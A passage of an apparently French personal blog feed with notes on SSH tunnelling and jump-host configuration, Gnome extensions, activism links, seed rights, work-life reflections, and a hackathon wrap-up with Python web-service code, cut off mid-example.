&lt;p&gt;Parce que je m'en rapelle jamais (tête de linote):&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ ssh -f hote -L local:lolnet.org:destination -N
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="ssh-config"&gt;
&lt;h2&gt;.ssh/config&lt;/h2&gt;
&lt;p&gt;(merci &lt;a class="reference external" href="http://majerti.fr"&gt;gaston&lt;/a&gt; !)&lt;/p&gt;
&lt;p&gt;La directive suivante dans .ssh/config permet de sauter d'hôte en hôte
séparés par des &amp;quot;+&amp;quot;&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Host *+*
ProxyCommand ssh $(echo %h | sed
's/+[^+]*$//;s/\([^+%%]*\)%%\([^+]*\)$/\2 -l \1/;s …&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="tunelling"&gt;
&lt;h2&gt;Tunelling&lt;/h2&gt;
&lt;p&gt;Parce que je m'en rapelle jamais (tête de linote):&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ ssh -f hote -L local:lolnet.org:destination -N
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="ssh-config"&gt;
&lt;h2&gt;.ssh/config&lt;/h2&gt;
&lt;p&gt;(merci &lt;a class="reference external" href="http://majerti.fr"&gt;gaston&lt;/a&gt; !)&lt;/p&gt;
&lt;p&gt;La directive suivante dans .ssh/config permet de sauter d'hôte en hôte
séparés par des &amp;quot;+&amp;quot;&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Host *+*
ProxyCommand ssh $(echo %h | sed
's/+[^+]*$//;s/\([^+%%]*\)%%\([^+]*\)$/\2 -l \1/;s/:/ -p /')
PATH=.:\$PATH nc -w1 $(echo %h | sed 's/^.*+//;/:/!s/$/ %p/;s/:/ /')
&lt;/pre&gt;
&lt;p&gt;On peut donc spécifier des &amp;quot;sauts&amp;quot; ssh du style:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
ssh root&amp;#64;91.25.25.25+192.168.1.1
&lt;/pre&gt;
&lt;p&gt;Ensuite on peut essayer de rajouter:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Host &amp;lt;label_pour_mon_serveur_privé&amp;gt;
user &amp;lt;monuser(root)&amp;gt;
IdentityFile &amp;lt;chemin vers ma clé ssh pour le serveur publique&amp;gt;
hostname ip_serveur_publique+ip_serveur_privé
&lt;/pre&gt;
&lt;/div&gt;
</content><category term="note"></category></entry><entry><title>Gnome 3, extensions</title><link href="https://blog.notmyidea.org/gnome-3-extensions.html" rel="alternate"></link><published>2012-12-27T00:00:00+01:00</published><updated>2012-12-27T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-12-27:/gnome-3-extensions.html</id><summary type="html">&lt;p&gt;Après avoir tenté pendant un bout de temps unity, le bureau par defaut de
ubuntu, j'ai eu envie de changements, et j'ai donc essayé un peu de regarder du
coté de gnome 3, à nouveau.&lt;/p&gt;
&lt;p&gt;Et finalement, j'ai trouvé quelques extensions qui sont vraiment utiles, que je
liste ici.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://extensions.gnome.org/extension/547/antisocial-menu/"&gt;Antisocial …&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;p&gt;Après avoir tenté pendant un bout de temps unity, le bureau par defaut de
ubuntu, j'ai eu envie de changements, et j'ai donc essayé un peu de regarder du
coté de gnome 3, à nouveau.&lt;/p&gt;
&lt;p&gt;Et finalement, j'ai trouvé quelques extensions qui sont vraiment utiles, que je
liste ici.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://extensions.gnome.org/extension/547/antisocial-menu/"&gt;Antisocial Menu&lt;/a&gt; vire les
boutons et textes en rapport avec le web social. J'en avais pas besoin
puisque je suis connecté à mon instant messenger dans un terminal, en
utilisant weechat.&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://extensions.gnome.org/extension/97/coverflow-alt-tab/"&gt;Coverflow Alt-Tab&lt;/a&gt; change le
switcher d'applications par defaut. Je le trouve bien plus pratique que celui
par defaut puisqu'il me permet de voir &amp;quot;en grand&amp;quot; quelle est la fenêtre que
je vais afficher.&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://extensions.gnome.org/extension/55/media-player-indicator/"&gt;Media player indicator&lt;/a&gt; me
permet de voir en temps réel ce qui se passe dans mon lecteur audio. Ça
semble ne pas être grand chose, mais ça me manquait. Ça s'intègre niquel avec
Spotify, et ça c'est chouette.&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://extensions.gnome.org/extension/149/search-firefox-bookmarks-provider/"&gt;Rechercher dans les bookmarks firefox&lt;/a&gt;
permet de… à votre avis ?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Un peu moins utile mais sait on jamais:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://extensions.gnome.org/extension/130/advanced-settings-in-usermenu/"&gt;Advanced Settings in UserMenu&lt;/a&gt;
permet d'avoir un raccourci vers les paramètres avancés dans le menu
utilisateur (en haut à droite)&lt;/li&gt;
&lt;li&gt;Une &lt;a class="reference external" href="https://extensions.gnome.org/extension/409/gtg-integration/"&gt;intégration à Getting things Gnome&lt;/a&gt; (un truc de
GTD). Je suis en train d'expérimenter avec cet outil, donc je ne sais pas
encore si ça va rester, mais pourquoi pas.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vous pouvez aller faire un tour sur &lt;a class="reference external" href="https://extensions.gnome.org/"&gt;https://extensions.gnome.org/&lt;/a&gt;
pour en trouver d'autres à votre gout.&lt;/p&gt;
</content><category term="note"></category></entry><entry><title>"Groovy"</title><link href="https://blog.notmyidea.org/groovy.html" rel="alternate"></link><published>2012-12-27T00:00:00+01:00</published><updated>2012-12-27T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-12-27:/groovy.html</id><summary type="html">&lt;p&gt;“Groovy”, c'est comme ça que je l'aime la musique: peut importe le style
finalement, la bonne musique c'est celle qui sonne, celle qui groove, celle qui
fait que tu tapes du pied (le droit chez moi) et que que ta tête commence
à hocher.&lt;/p&gt;
&lt;p&gt;C'est pour ça que j'ai du …&lt;/p&gt;</summary><content type="html">&lt;p&gt;“Groovy”, c'est comme ça que je l'aime la musique: peut importe le style
finalement, la bonne musique c'est celle qui sonne, celle qui groove, celle qui
fait que tu tapes du pied (le droit chez moi) et que que ta tête commence
à hocher.&lt;/p&gt;
&lt;p&gt;C'est pour ça que j'ai du mal à répondre quand on me demande quel type de
musique j'aime bien. Bah voila, maintenant je sais, je l'aime groovy ;)&lt;/p&gt;
</content><category term="note"></category></entry><entry><title>Notre dame des landes</title><link href="https://blog.notmyidea.org/notre-dame-des-landes.html" rel="alternate"></link><published>2012-12-27T00:00:00+01:00</published><updated>2012-12-27T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-12-27:/notre-dame-des-landes.html</id><summary type="html">&lt;p&gt;La lutte à Notre Dame des Landes ne fait pas du tout que commencer, mais il se
trouve que les médias se sont &amp;quot;emparés&amp;quot; de la question que très récemment,
depuis que JM Ayrault s'est retrouvé premier ministre.&lt;/p&gt;
&lt;p&gt;Voici une sélection d'articles que j'ai trouvé pertinents, à partir de décembre …&lt;/p&gt;</summary><content type="html">&lt;p&gt;La lutte à Notre Dame des Landes ne fait pas du tout que commencer, mais il se
trouve que les médias se sont &amp;quot;emparés&amp;quot; de la question que très récemment,
depuis que JM Ayrault s'est retrouvé premier ministre.&lt;/p&gt;
&lt;p&gt;Voici une sélection d'articles que j'ai trouvé pertinents, à partir de décembre
2012:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Article dans le monde qui explique la complexité de la lutte sur place: &lt;a class="reference external" href="http://www.lemonde.fr/idees/article/2012/12/13/notre-dame-des-landes-une-resistance-qui-ne-se-laissera-pas-dicter-sa-conduite_1805511_3232.html"&gt;http://www.lemonde.fr/idees/article/2012/12/13/notre-dame-des-landes-une-resistance-qui-ne-se-laissera-pas-dicter-sa-conduite_1805511_3232.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;autour de relations à la presse:
&lt;a class="reference external" href="http://www.rennestv.fr/catalogue/magazine/notre-dame-des-landes-l-inaceptable-interdiction-de-la-presse.html"&gt;http://www.rennestv.fr/catalogue/magazine/notre-dame-des-landes-l-inaceptable-interdiction-de-la-presse.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Notre-Dame-des-Landes : un pilote annonce un fiasco pour le futur aéroport &lt;a class="reference external" href="http://www.bastamag.net/article2866.html"&gt;http://www.bastamag.net/article2866.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content></entry><entry><title>Semences paysannes</title><link href="https://blog.notmyidea.org/semences-paysannes.html" rel="alternate"></link><published>2012-12-20T00:00:00+01:00</published><updated>2012-12-20T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-12-20:/semences-paysannes.html</id><summary type="html">&lt;p&gt;&lt;a class="reference external" href="http://www.dailymotion.com/video/x5nhq0_les-semences-paysannes_news#from=embed"&gt;http://www.dailymotion.com/video/x5nhq0_les-semences-paysannes_news#from=embed&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A l'heure actuelle, il est interdit pour deux agriculteurs de s'échangers des semences dans le but d'en revendre la production.&lt;/p&gt;
&lt;p&gt;Les états ont crée la propriété interellectuelle pour relancer l'industrie après les dégats de la guerre et les selectionneurs en ont profité …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;a class="reference external" href="http://www.dailymotion.com/video/x5nhq0_les-semences-paysannes_news#from=embed"&gt;http://www.dailymotion.com/video/x5nhq0_les-semences-paysannes_news#from=embed&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A l'heure actuelle, il est interdit pour deux agriculteurs de s'échangers des semences dans le but d'en revendre la production.&lt;/p&gt;
&lt;p&gt;Les états ont crée la propriété interellectuelle pour relancer l'industrie après les dégats de la guerre et les selectionneurs en ont profité en 1960 au sein de l'UPOV pour faire des textes pour s'approprié les selections qu'ils ont fait. Les textes ont été votés par les députés depuis: bien prové au lieu de bien collectif.&lt;/p&gt;
&lt;p&gt;Les semenciers n'existent que depuis 150 ans. Ils revendiquent maintenant le monopole de selection.&lt;/p&gt;
&lt;p&gt;Un catalogue est prévu pour les semences dites &amp;quot;de conservation&amp;quot; (alors qu'elles évoluent, conservation n'est pas un terme adapté). C'est la voie qui est possible pour pouvoir échanger des semences entre agriculteurs.&lt;/p&gt;
&lt;p&gt;→ Quelles sont les semences de conservation depuis 2002 ? → Quid des semences paysannes, qui évoluent et que l'on garde d'année en année, en selectionnant les meilleures especes. → Existe-il un autre catalogue ? → Au niveau européen, quelles sontles contraintes d'inscription ? Gratuité demandée, qu'en est il ?&lt;/p&gt;
&lt;p&gt;→ Relocalistion sur les terroirs des échanges.&lt;/p&gt;
&lt;p&gt;→ Biodiversité serait tué par l'utilisation d'espèces inscrites.&lt;/p&gt;
&lt;p&gt;Série de vidéos sur la paysannerie: &lt;a class="reference external" href="http://www.latelevisionpaysanne.fr/video.php?lirevideo=86#86"&gt;http://www.latelevisionpaysanne.fr/video.php?lirevideo=86#86&lt;/a&gt;&lt;/p&gt;
</content></entry><entry><title>Lifestyle</title><link href="https://blog.notmyidea.org/lifestyle-fr.html" rel="alternate"></link><published>2012-11-05T00:00:00+01:00</published><updated>2012-11-05T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-11-05:/lifestyle-fr.html</id><summary type="html">&lt;p&gt;Eh beh, c'est pas aussi simple qu'il y parait de trouver un environnement qui
permette autant de travailler correctement et de ne pas s'enfermer dans le
boulot.&lt;/p&gt;
&lt;p&gt;Surtout si comme moi vous cherchez à limiter vos déplacement, que vous aimez
vivre avec peu et cherchez à trouver un équilibre entre …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Eh beh, c'est pas aussi simple qu'il y parait de trouver un environnement qui
permette autant de travailler correctement et de ne pas s'enfermer dans le
boulot.&lt;/p&gt;
&lt;p&gt;Surtout si comme moi vous cherchez à limiter vos déplacement, que vous aimez
vivre avec peu et cherchez à trouver un équilibre entre une vie connectée et
une vie &lt;em&gt;réelle&lt;/em&gt; (oui, celle avec des vrais gens qui ont d'autres
préoccupations que l'informatique !). Comment réussir à trouver un juste
milieu entre le geek inconditionnel et le bon vivant, qui à du temps à
consacrer à autre chose qu'à son travail ?&lt;/p&gt;
&lt;div class="section" id="voyages"&gt;
&lt;h2&gt;Voyages&lt;/h2&gt;
&lt;p&gt;Un des premiers trucs que j'ai trouvé surprennant en arrivant à Mozilla, c'est
la fréquence des voyages que l'on peut être amené à avoir. Ah, c'est pour la
bonne cause, c'est tellement plus sympa d'avoir les collègues à coté pour
bosser, plutôt qu'à l'autre bout du monde. Mais quand même, si je le voulais,
entre les semaines de travail et les conférences, je pourrais être tous les
deux mois aux États-Unis !&lt;/p&gt;
&lt;p&gt;Une aubaine, penserons certains. Voyager, c'est &lt;em&gt;cool&lt;/em&gt; ! Bon, si on mets de
coté le cout écologique d'un voyage (nécessairement en avion), la chose qui me
dérange le plus c'est cette impression de venir pour repartir. Voyager, c'est
sympa, mais avoir le temps de prendre un rythme de vie différent, de rencontrer
des gens, de construire quelque chose, ça me manque.&lt;/p&gt;
&lt;p&gt;Donc je décline quand je n'en ai pas l'envie, tout simplement. Je loupe des
choses intéressantes (&lt;a class="reference external" href="http://pycon.us"&gt;PyCon&lt;/a&gt; à Santa Clara avait vraiment l'air
chouette !), mais ça me permet également d'avoir plus de temps pour vivre là ou
j'habite, pour construire quelque chose localement. Et puis des évènements, il
y en à tellement en France et en Europe auquel je n'assiste pas que ça me fait
mal au cœur d'aller à l'autre bout du monde pour faire la même chose !&lt;/p&gt;
&lt;p&gt;Bien sur, je serais amené à voyager. Et autant que faire se peut je le
ferais avec plaisir et je tenterais de rester un peu plus avant et après sur
place (plus question de faire un aller/retour en une semaine !), question de me
faire à l'atmosphère ! &lt;a class="reference external" href="http://ziade.org"&gt;Tarek&lt;/a&gt; est par exemple resté un mois à San Francisco
en janvier pour son dernier séjour, alors pourquoi ne pas prendre exemple ?
Tout de suite ça me parles plus.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="et-quand-est-ce-qu-on-arrete"&gt;
&lt;h2&gt;Et quand-est-ce qu'on arrête ?&lt;/h2&gt;
&lt;p&gt;Une autre chose assez difficile à gérer, c'est le temps.&lt;/p&gt;
&lt;p&gt;J'ai vraiment une chance monstrueuse, celle de faire un travail qui me plait,
éthiquement et techniquement. Je pourrais y passer mes journées et mes nuits
que je n'aimerais pas moins ça (même si il m'arrive bien sur de saturer !).&lt;/p&gt;
&lt;p&gt;Mais j'ai aussi d'autres envies, qui signifient aussi passer du temps
hors-ligne, parce que bizarrement, c'est là que j'ai l'impression de réfléchir
le plus. Loin de ce surplus d'informations…&lt;/p&gt;
&lt;p&gt;Facile à dire.&lt;/p&gt;
&lt;p&gt;D'autant que quand il est possible de travailler depuis n'importe où,
la séparation physique entre le lieu de travail et le lieu de vie tends à
disparaitre assez facilement. Et sans séparation physique, il faut une sacré
motivation pour savoir quand commencer et quand s'arrêter.&lt;/p&gt;
&lt;p&gt;J'essaye de me donner une règle simple: point trop n'en faut. Aucun intérêt à
rester travailler des heures durant sans s'arrêter, ou en tout cas pas
d'intérêt à le faire de manière trop régulière. Une journée qui commence tôt
(~9h) me permet de me concentrer le matin (les collègues californiens dorment)
et d'avoir un rythme assez &amp;quot;normal&amp;quot;. Et puis, avec ce soleil qui commence à
inonder les terrasses, autant faire autre chose que de rester enfermé à coder
en fin d'après midi !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="surplus"&gt;
&lt;h2&gt;Surplus&lt;/h2&gt;
&lt;p&gt;Tiens, je parlais de surplus, nous y sommes. Que ça soit le surplus
d'informations ou le surplus d'objets, ça m'encombre ! Une journée, pour ma
part est faite de communications diverses, de code et de lectures (se tenir au
courant de ce qui se passe dans le monde du logiciel n'est pas une tâche des
plus facile, et qui peut facilement prendre énormément de temps).&lt;/p&gt;
&lt;p&gt;Je me demande si je ne devrais pas aspirer à la frugalité de ce coté là
également. Je reçois des mails toute la journée, et mon aggrégateur rss/atom se
remplit également très vite. Mais je n'ai aucunement besoin d'avoir toutes ces
informations dans l'heure, et de les vérifier de manière fréquente. De la même
manière, j'ai simplement arrêté de lire mes flux rss.&lt;/p&gt;
&lt;p&gt;Quelques (longues) fois dans la semaine semblent suffire et me permettent de
réussir à rester concentrer.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="resolutions"&gt;
&lt;h2&gt;Résolutions&lt;/h2&gt;
&lt;p&gt;Soyons fous, tentons quelque chose de nouveau, c'est le printemps ! Pas de
communication dans la matinée, je n'en ai probablement pas besoin, sauf cas
extrêmes. Le matin, c'est pour se concentrer sur le travail à faire.&lt;/p&gt;
&lt;p&gt;Une fois les mails du matin dépilés (à 9h30), pas la peine de garder un œil
sur ma boite mail, j'irais y faire un tour en début et en fin d'après midi.&lt;/p&gt;
&lt;p&gt;Je pense même à débrancher internet, pour éviter les interactions et pour me
concentrer, mais j'ai comme l'impression que c'est un peu trop abrupt comme
approche.&lt;/p&gt;
&lt;p&gt;Aussi, définir en début de journée la liste des choses prévues, et revenir
dessus jour après jour me permettra surement d'avoir un aperçu un peu plus
global du travail accompli.&lt;/p&gt;
&lt;p&gt;L'avenir dira si tout ça fonctionne :-)&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Cheese &amp; code - Wrap-up</title><link href="https://blog.notmyidea.org/cheese-code-wrap-up.html" rel="alternate"></link><published>2012-10-22T00:00:00+02:00</published><updated>2012-10-22T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-10-22:/cheese-code-wrap-up.html</id><summary type="html">&lt;p&gt;This week-end I hosted a &lt;em&gt;cheese &amp;amp; code&lt;/em&gt; session in the country-side of Angers,
France.&lt;/p&gt;
&lt;p&gt;We were a bunch of python hackers and it rained a lot, wich forced us to stay
inside and to code. Bad.&lt;/p&gt;
&lt;p&gt;We were not enough to get rid of all the cheese and the awesome …&lt;/p&gt;</summary><content type="html">&lt;p&gt;This week-end I hosted a &lt;em&gt;cheese &amp;amp; code&lt;/em&gt; session in the country-side of Angers,
France.&lt;/p&gt;
&lt;p&gt;We were a bunch of python hackers and it rained a lot, wich forced us to stay
inside and to code. Bad.&lt;/p&gt;
&lt;p&gt;We were not enough to get rid of all the cheese and the awesome meals, but
well, we finally managed it pretty well.&lt;/p&gt;
&lt;p&gt;Here is a summary of what we worked on:&lt;/p&gt;
&lt;div class="section" id="daybed"&gt;
&lt;h2&gt;Daybed&lt;/h2&gt;
&lt;p&gt;Daybed started some time ago, and intend to be a replacement to google forms,
in term of features, but backed as a REST web service, in python, and open
source.&lt;/p&gt;
&lt;p&gt;In case you wonder, daybed is effectively the name of a couch. We chose this
name because of the similarities (in the sound) with &lt;strong&gt;db&lt;/strong&gt;, and because
we're using &lt;strong&gt;CouchDB&lt;/strong&gt; as a backend.&lt;/p&gt;
&lt;img alt="Daybed is a big couch!" src="images/daybed.jpg" style="width: 400px;" /&gt;
&lt;p&gt;We mainly hacked on daybed and are pretty close to the release of the first
version, meaning that we have something working.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://github.com/spiral-project/daybed"&gt;The code&lt;/a&gt; is available on github,
and we also wrote &lt;a class="reference external" href="http://daybed.rtfd.org"&gt;a small documentation&lt;/a&gt; for it.&lt;/p&gt;
&lt;p&gt;Mainly, we did a lot of cleanup, rewrote a bunch of tests so that it would be
easier to continue to work on the project, and implemented some minor features.
I'm pretty confidend that we now have really good basis for this project.&lt;/p&gt;
&lt;p&gt;Also, we will have a nice todolist application, with the backend &lt;strong&gt;and&lt;/strong&gt; the
frontend, in javascript / html / css, you'll know more when it'll be ready :-)&lt;/p&gt;
&lt;p&gt;Once we have something good enough, we'll release the first version and I'll
host it somewhere so that people can play with it.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="cornice"&gt;
&lt;h2&gt;Cornice&lt;/h2&gt;
&lt;p&gt;Daybed is built on top of &lt;a class="reference external" href="http://cornice.rtfd.org"&gt;Cornice&lt;/a&gt;, a framework to
ease the creation of web-services.&lt;/p&gt;
&lt;p&gt;At Pycon France, we had the opportunity to attend a good presentation about &lt;a class="reference external" href="https://github.com/SPORE/specifications"&gt;SPORE&lt;/a&gt;. SPORE is a way to describe your
REST web services, as WSDL is for WS-* services. This allows to ease the
creation of generic SPORE clients, which are able to consume any REST API with
a SPORE endpoint.&lt;/p&gt;
&lt;p&gt;Here is how you can let cornice describe your web service for you&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cornice.ext.spore&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;generate_spore_description&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cornice.service&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;get_services&lt;/span&gt;
&lt;span class="n"&gt;spore&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;spore&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/spore&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;renderer&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;jsonp&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nd"&gt;@spore.get&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_spore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="n"&gt;services&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_services&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;generate_spore_description&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;services&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Service name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;application_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;1.0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And you'll get a definition of your service, in SPORE, available at &lt;cite&gt;/spore&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;Of course, you can use it to do other things, like generating the file locally
and exporting it wherever it makes sense to you, etc.&lt;/p&gt;
&lt;p&gt;I released today &lt;a class="reference external" href="http://crate.io/packages/cornice/"&gt;Cornice 0.11&lt;/a&gt;, which adds
into other things the support for SPORE, plus some other fixes we found on our
way.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="respire"&gt;
&lt;h2&gt;Respire&lt;/h2&gt;
&lt;p&gt;Once you have the description of the service, you can do generic clients
consuming them!&lt;/p&gt;
&lt;p&gt;We first wanted to contribute to &lt;a class="reference external" href="https://github.com/bl0b/spyre"&gt;spyre&lt;/a&gt; but
it was written in a way that wasn't supporting to &lt;cite&gt;POST&lt;/cite&gt; data, and they
were using their own stack to handle HTTP. A lot of code that already exists in
other libraries.&lt;/p&gt;
&lt;p&gt;While waiting the train with &lt;a class="reference external" href="http://natim.ionyse.com/"&gt;Rémy&lt;/a&gt;, we hacked
something together, named &amp;quot;Respire&amp;quot;, a thin layer on top of the awesome
&lt;a class="reference external" href="http://python-requests.org"&gt;Requests&lt;/a&gt; library.&lt;/p&gt;
&lt;p&gt;We have a first version, feel free to have a look at it and provide
enhancements if you feel like it. We're still hacking on it so it may break
(for the better), but that had been working pretty well for us so far.&lt;/p&gt;
&lt;p&gt;You can &lt;a class="reference external" href="http://github.com/spiral-project/respire"&gt;find the project on github&lt;/a&gt;, but here is how to use it, really
quickly (these examples are how to interact with daybed)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;respire&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;client_from_url&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# create the client from the SPORE definition&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client_from_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://localhost:8000/spore&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# in daybed, create a new definition&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;todo_def&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;title&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;todo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;description&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;A list of my stuff to do&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;fields&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;item&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;string&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;description&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;The item&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;enum&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;choices&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;done&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;todo&amp;quot;&lt;/span&gt;
